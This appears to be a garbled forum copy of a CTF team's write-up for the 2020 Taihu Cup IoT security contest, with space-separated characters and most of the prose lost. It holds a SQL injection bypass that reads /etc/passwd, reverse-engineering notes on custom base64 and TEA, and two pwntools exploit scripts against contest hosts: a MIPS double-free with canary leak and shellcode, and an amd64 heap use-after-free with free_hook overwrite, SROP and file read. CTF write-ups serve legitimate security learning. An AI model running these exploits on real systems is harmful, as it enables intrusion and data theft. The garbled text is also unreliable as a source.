[18944] 2020-11-07_2020首届“太湖杯”物联网安全攻防大赛

文档创建者:s7ckTeam
浏览次数:5
最后更新:2025-01-18
2020-11-07_2020首届“太湖杯”物联网安全攻防大赛 2 0 2 0     R H a c k e r   I D L a b   2 0 2 0 - 1 1 - 0 7 v i e w . j s   o k p y t h o n s s t i { r e q u e s t . a r g s o k C h e c k L n G a m e C h e c k L n G a m e C h e c k L n G a m e e a s y W e b e a s y W e b e a s y W e b
i d i d s h u y u u n i o n   s e l e c t   u n u n i o n i o n   s e s e l e c t l e c t l o a d _ f i l e ( 0 x 2 f 6 5 7 4 6 3 2 f 7 0 6 1 7 3 7 3 7 7 6 4 ) i n d e x . p h p C r o o s F i r e C r o o s F i r e C r o o s F i r e
i n d e x s u b m i t 1 t a r . p y i m p o r t   t a r f i l e i m p o r t   s y s t a r   =   t a r f i l e . o p e n ( s y s . a r g v [ 1 ] , " r " ) t a r . e x t r a c t a l l ( ) t a r / t m p p h p a p k n a t i v e s o i d a e a s y - a p p e a s y - a p p e a s y - a p p
f l a g { x x x x } 3 8 退 3 2 c h e c k 1 0 - 1 5 1 6 - 3 1 T E A
k e y J N I _ O n l o a d b a s e 6 4 e n c o d e
b a s e 6 4 e n c o d e 3 - > 4 b i t   [ 1 2 , 1 3 , 1 4 , 1 5 , 0 , 1 , 2 2 , 2 3 , 8 , 9 , 1 0 , 1 1 , 2 , 3 , 4 , 5 , 6 , 7 , 1 6 , 1 7 , 1 8 , 1 9 , 2 0 , 2 1 ] b a s e a b c d e f g h i j k l m n o p q r s t u v w x y z ! @ # $ % ^ & * ( ) A B C D E F G H I J K L M N O P Q R S T U V W X Y Z + / e ) n * p N e % P Q y ! ^ o S ( @ H t k U u + C d $ # h m m K & i e y t i W w Y k I A = b a s e 6 4 3 4 4 8 e 1 1 0 f c 5 e 6 3 3 d 1 a d 9 f 3 a 2 4 d b a c a f b 8 5 2 6 7 0 3 7 4 7 b 8 c 3 2 0 6 0 8 1 1 3 5 8 8 e b c 9 0 a b T E A 6 5 6 0 3 4 3 6 3 4 3 5 6 7 3 8 3 7 3 5 3 5 6 5 3 1 3 5 3 0 6 2 3 2 3 2 3 3 6 1 6 0 3 1 3 6 3 4 3 9 6 2 3 1 6 3 6 1 6 7 3 5 3 5 a s c i i e ` 4 6 4 5 g 8 7 5 5 e 1 5 0 b 2 2 3 a ` 1 6 4 9 b 1 c a g 5 5 f l a g
f l a g f l a g { 5 0 4 f d 5 7 8 7 e 5 e a e 0 2 b b 3 1 0 1 f 4 9 2 1 c 1 7 5 e } J e b A d d D e l e t e f r e e 0 d e l e t e d o u b l e   f r e e e a s y K o o c e a s y K o o c e a s y K o o c
3 3 c a n a r y c a n a r y E d i t ( ' d ' * 0 x 2 1 ) c a n a r y = u 3 2 ( p . r e c v u n t i l ( " n " ) [ - 4 : - 1 ] . r j u s t ( 4 , " x 0 0 " ) ) d o u b l e   f r e e s h e l l c o d e s h e l l A d d ( 6 , ' 6 ' * 0 x 1 8 + p 3 2 ( c a n a r y ) + p 3 2 ( 0 ) + p 3 2 ( s t a c k ) ) A d d ( 7 , p 3 2 ( c a n a r y ) + p 3 2 ( 0 ) + p 3 2 ( s t a c k + 0 x 3 4 ) + s h e l l c o d e ) e x e c v e o r w f l a g i m p o r t   s y s f r o m   p w n   i m p o r t   * c o n t e x t . l o g _ l e v e l   =   ' d e b u g ' c o n t e x t ( a r c h = ' m i p s ' ,   o s = ' l i n u x ' ,   e n d i a n = ' l i t t l e ' ,   w o r d _ s i z e = 3 2 ) p   =   r e m o t e ( " 1 2 1 . 3 6 . 1 6 6 . 1 3 8 " ,   8 8 9 0 ) d e f   M e n u ( i d x ) :         p . s e n d l i n e a f t e r ( " c h o i c e n " ,   s t r ( i d x ) ) d e f   A d d ( i d x ,   c o n t e n t ) :         M e n u ( 1 )         p . s e n d l i n e a f t e r ( ' n ' ,   s t r ( i d x ) )         p . s e n d a f t e r ( ' n ' ,   c o n t e n t ) d e f   D e l e t e ( i d x ) :         M e n u ( 2 )         p . s e n d l i n e a f t e r ( ' n ' , s t r ( i d x ) ) d e f   E d i t ( c o n t e n t ) :         M e n u ( 3 )         p . s e n d a f t e r ( ' n ' , c o n t e n t ) s h e l l c o d e   =   " x 6 9 x 6 e x 0 2 x 3 c x 2 f x 6 2 x 4 2 x 3 4 x 0 0 x 0 0 x a 2 x a f x 6 8 x 0 0 x 0 2 x 3 c x 2 f x 7 3 x 4 2 x 3 4 x 0 4 x 0 0 x a 2 x a f x 0 0 x 0 0 x a 4 x 2 7 x a b x 0 f x 0 2 x 2 4 x 0 0 x 0 0 x 0 5 x 2 4 x 0 0 x 0 0 x 0 6 x 2 4 x 0 c x 0 0 x 0 0 x 0 0 " p . s e n d l i n e a f t e r ( " m o t t o ! n " , s h e l l c o d e ) p . r e c v u n t i l ( " y o u :   0 x " ) s t a c k _ a d d r = i n t ( p . r e c v ( 8 ) , 1 6 ) # g d b . a t t a c h ( p ) E d i t ( ' d ' * 0 x 2 1 ) c a n a r y = u 3 2 ( p . r e c v u n t i l ( " n " ) [ - 4 : - 1 ] . r j u s t ( 4 , " x 0 0 " ) ) # g d b . a t t a c h ( p ) E d i t ( ' x 0 0 ' * ( 0 x 2 0 - 4 ) + p 3 2 ( 0 x 4 1 ) + p 3 2 ( c a n a r y ) ) A d d ( 1 , ' a ' * 8 ) A d d ( 2 , ' b ' * 8 ) A d d ( 3 , ' c ' * 8 ) # g d b . a t t a c h ( p ) D e l e t e ( 1 ) D e l e t e ( 2 ) D e l e t e ( 1 ) # g d b . a t t a c h ( p ) A d d ( 4 , p 3 2 ( s t a c k _ a d d r + 0 x 2 0 ) ) A d d ( 5 , ' 5 ' * 8 ) A d d ( 6 , ' 6 ' * 0 x 1 8 + p 3 2 ( c a n a r y ) + p 3 2 ( 0 ) + p 3 2 ( s t a c k _ a d d r ) ) A d d ( 7 , p 3 2 ( c a n a r y ) + p 3 2 ( 0 ) + p 3 2 ( s t a c k _ a d d r + 0 x 3 4 ) + s h e l l c o d e ) # g d b . a t t a c h ( p ) M e n u ( 4 ) p . i n t e r a c t i v e ( ) m a n a g e r m a n a g e r m a n a g e r
e d i t r e a l l o c l e n 0 f r e e u a f _ f r e e _ h o o k o r w - h e a p f l a g # ! / u s r / b i n / e n v   p y t h o n # c o d i n g : u t f - 8 f r o m   p w n   i m p o r t   * p   =   r e m o t e ( ' 1 2 2 . 1 1 2 . 2 3 1 . 2 5 ' , 8 0 0 4 ) # p   =   p r o c e s s ( " . / p w n " ) c o n t e x t ( a r c h = ' a m d 6 4 ' , o s = ' l i n u x ' )   s               =   l a m b d a   d a t a                               : p . s e n d ( s t r ( d a t a ) )                 s a             =   l a m b d a   d e l i m , d a t a                   : p . s e n d a f t e r ( s t r ( d e l i m ) ,   s t r ( d a t a ) )   s l             =   l a m b d a   d a t a                               : p . s e n d l i n e ( s t r ( d a t a ) )   s l a           =   l a m b d a   d e l i m , d a t a                   : p . s e n d l i n e a f t e r ( s t r ( d e l i m ) ,   s t r ( d a t a ) )   r               =   l a m b d a   n u m b = 4 0 9 6                     : p . r e c v ( n u m b ) r u             =   l a m b d a   d e l i m s ,   d r o p = T r u e     : p . r e c v u n t i l ( d e l i m s ,   d r o p ) p i           =   l a m b d a                                         : p . i n t e r a c t i v e ( ) r s             =   l a m b d a   * a r g s ,   * * k w a r g s         : p . s t a r t ( * a r g s ,   * * k w a r g s ) d b g           =   l a m b d a   g s = ' ' ,   * * k w a r g s         : p . d e b u g ( g d b s c r i p t = g s ,   * * k w a r g s ) u u 3 2         =   l a m b d a   d a t a       : u 3 2 ( d a t a . l j u s t ( 4 ,   ' 0 ' ) ) u u 6 4         =   l a m b d a   d a t a       : u 6 4 ( d a t a . l j u s t ( 8 ,   ' 0 ' ) ) d e f   A d d ( n u m b e r , l e n g t h , i n f o = ' n ' , n a m e = ' n ' ) :         s l a ( ' > > > ' , 1 )         s a ( ' N a m e ' , n a m e )         s l a ( ' N u m b e r ' , n u m b e r )         s l a ( ' l e n ' , l e n g t h )         s a ( ' I n f o ' , i n f o ) d e f   R e m o v e ( n u m b e r ) :         s l a ( ' > > > ' , 3 )         s l a ( ' N u m b e r ' , n u m b e r ) d e f   E d i t ( n u m b e r , c h o i c e , l e n g t h , i n f o = ' n ' ) :         s l a ( ' > > > ' , 2 )         s l a ( ' N u m b e r ' , n u m b e r )         s l a ( ' > ' , c h o i c e )         s l a ( ' l e n ' , l e n g t h )         i f   l e n g t h   ! =   0 :                 s a ( ' i n f o ' , i n f o )         d e f   S h o w ( n u m b e r ) :
d e f   S h o w ( n u m b e r ) :         s l a ( ' > > > ' , 4 )         s l a ( ' n u m b e r ' , n u m b e r ) d e f   E d i t 2 ( p a y l o a d ) :         s l a ( ' > > > ' , 2 )         s l a ( ' N u m b e r ' , 4 )         s l a ( ' > ' , 1 )         s a ( ' n a m e ' , p a y l o a d ) s l a ( ' : ' , ' x 0 2 x 0 1 ' ) s l a ( ' : ' , ' x 0 1 x 2 6 ' ) A d d ( 0 , 0 x 8 0 )           A d d ( 1 , 0 x 2 0 )           # t o p   c h u n k R e m o v e ( 0 )               # m a i n _ a r e a A d d ( 0 , 0 x 8 0 )           S h o w ( 0 )                   # m a i n _ a r e a 8 8 # g d b . a t t a c h ( p ) l i b c _ b a s e   =   u u 6 4 ( r u ( ' x 7 f ' , d r o p = F a l s e ) [ - 6 : ] )   -   0 x 3 c 4 b 0 a p o p _ r d i   =     l i b c _ b a s e + 0 x 2 1 1 1 2 p o p _ r s i   =     l i b c _ b a s e + 0 x 2 0 2 f 8 p o p _ r d x   =     l i b c _ b a s e + 0 x 1 b 9 2 A d d ( 2 , 0 x 2 0 ) A d d ( 3 , 0 x 2 0 ) R e m o v e ( 3 ) R e m o v e ( 2 ) A d d ( 2 , 0 x 2 0 ) S h o w ( 2 ) r u ( ' I n f o : ' )         # h e a p _ b a s e   =   u u 6 4 ( r ( 6 ) ) - 0 x a # g d b . a t t a c h ( p ) p a y l o a d   =   p 6 4 ( 0 ) + p 6 4 ( 0 x 7 1 ) + ' n ' A d d ( 3 , 0 x 3 0 , i n f o = p a y l o a d ) A d d ( 4 , 0 x 5 0 , i n f o = p 6 4 ( 0 x 2 1 ) * 1 0 , n a m e = p 6 4 ( 0 x 2 1 ) * 2 ) A d d ( 5 , 0 x 6 0 , ' . / f l a g x 0 0 x 0 0 ' * 8 ) A d d ( 6 , 0 x 6 0 ) E d i t ( 5 , 2 , 0 ) R e m o v e ( 6 ) R e m o v e ( 5 ) e n v i r o n   =   l i b c _ b a s e   +   0 x 3 c 6 f 3 8 A d d ( 5 , 0 x 6 0 , p 6 4 ( h e a p _ b a s e + 0 x 3 a 0 ) + ' n ' ) A d d ( 6 , 0 x 6 0 ) p a y l o a d   =   p 6 4 ( 0 ) * 5 + p 6 4 ( 0 x 2 1 ) + p 6 4 ( e n v i r o n ) + p 6 4 ( 4 ) + p 6 4 ( h e a p _ b a s e + 0 x 1 9 0 ) A d d ( 7 , 0 x 6 0 , p a y l o a d + ' n ' ) # g d b . a t t a c h ( p ) A d d ( 8 , 0 x 6 8 , p a y l o a d + ' n ' ) E d i t ( 0 , 2 , 0 x 8 0 , i n f o = p 6 4 ( h e a p _ b a s e + 0 x 4 0 0 ) + p 6 4 ( 0 x 2 0 ) ) S h o w ( 4 ) s t a c k   =   u u 6 4 ( r u ( ' x 7 f ' , d r o p = F a l s e ) [ - 6 : ] ) # g d b . a t t a c h ( p ) p a y l o a d   =   p 6 4 ( 0 ) * 5 + p 6 4 ( 0 x 2 1 ) + p 6 4 ( l i b c _ b a s e + 0 x 5 f 1 4 b 0 ) + p 6 4 ( 4 ) + p 6 4 ( h e a p _ b a s e + 0 x 1 9 0 ) E d i t ( 8 , 2 , 0 x 6 8 , i n f o = p a y l o a d + ' n ' ) s i g f r a m e   =   S i g r e t u r n F r a m e ( )               # p o p s i g f r a m e . r a x   =   0 s i g f r a m e . r d i   =   h e a p _ b a s e s i g f r a m e . r s i   =   0 x 1 0 0 0 s i g f r a m e . r d x   =   7 s i g f r a m e . r i p   =   l i b c _ b a s e   +   0 x 1 0 1 8 3 0 s i g f r a m e . r s p   =   h e a p _ b a s e   +   0 x 1 9 8 f r e e _ h o o k   =   0 x 3 c 6 7 a 8 + l i b c _ b a s e p a y l o a d   =   p 6 4 ( 0 ) * 5 + p 6 4 ( 0 x 2 1 ) + p 6 4 ( f r e e _ h o o k ) + p 6 4 ( 4 ) + p 6 4 ( h e a p _ b a s e + 0 x 1 9 0 ) E d i t ( 8 , 2 , 0 x 6 8 , i n f o = p a y l o a d + ' n ' ) # g d b . a t t a c h ( p ) p a y l o a d   =   p 6 4 ( l i b c _ b a s e   +   0 x 4 7 b 8 5 ) E d i t 2 ( p a y l o a d ) A d d ( 9 , 0 x f 0 , s t r ( s i g f r a m e ) )
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则